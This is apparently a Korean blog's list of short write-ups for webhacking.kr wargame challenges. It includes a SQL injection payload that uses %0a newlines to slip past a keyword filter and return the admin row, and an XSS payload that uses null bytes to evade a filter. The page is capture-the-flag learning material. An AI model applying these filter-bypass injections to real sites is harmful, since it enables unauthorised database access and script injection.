본문 바로가기

war game/웹 워게임(Webhacking.kr)10

webhacking.kr 18번 문제(sql injection) if($_GET[no]) { if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack"); $q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]"));if($q[0]=="guest") echo ("hi guest"); if($q[0]=="admin") { @solve(); echo ("hi admin!"); } } ?> http://webhacking.kr/challenge/web/web-32/index.php?no=123%0aor%0ano=2sql return value에 id가 admin이면 성공.. 2017. 9. 15.
webhacking.kr 17번 문제(js) unlock=100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2 .....이하 생략 function sub(){ if(login.pw.value==unlock){ alert("Password is "+unlock/10); }else { alert("Wrong"); }} 소스코드를 보면 위와 같은 코드가 나온다. Password is unlock/10이라고 한다. 그렇다면 콘솔에 unlock을 실행시키고 그것을 /10하면 값이 나온다. 2017. 9. 15.
webhacking.kr 16번 문제(js) function mv(cd){kk(star.style.posLeft-50,star.style.posTop-50);if(cd==100) star.style.posLeft=star.style.posLeft+50;if(cd==97) star.style.posLeft=star.style.posLeft-50;if(cd==119) star.style.posTop=star.style.posTop-50;if(cd==115) star.style.posTop=star.style.posTop+50;if(cd==124) location.href=String.fromCharCode(cd);} function kk(x,y){rndc=Math.floor(Math.random()*9000000);document.body.innerH.. 2017. 9. 15.
webhacking.kr 23번 문제(filter) 문자 두개가 겹치면 no hack이 뜨게끔 필터링이 되어있었다. 다른 태그나 특수문자(())등은 필터링 되지 않아 있다. scripscriptt와 같은 필터링 우회는 통하지 않는다 애초에 문자 두개가 겹쳐있으면 필터에 걸리기 때문 ㅠ따라서 문자와 문자 사이에 특수한 문자를 넣어보았다.스페이스바를 넣어보았지만 이렇게 되면 script와 s c r i p t는 다른 의미가 되기 때문이다. 즉 %00(null)을 넣어보았다 그 결과 sc와 같은 형태로 나타났으며 필터링도 우회 되었다. 구문a%00l%00e%00r%00t(1); 2017. 9. 12.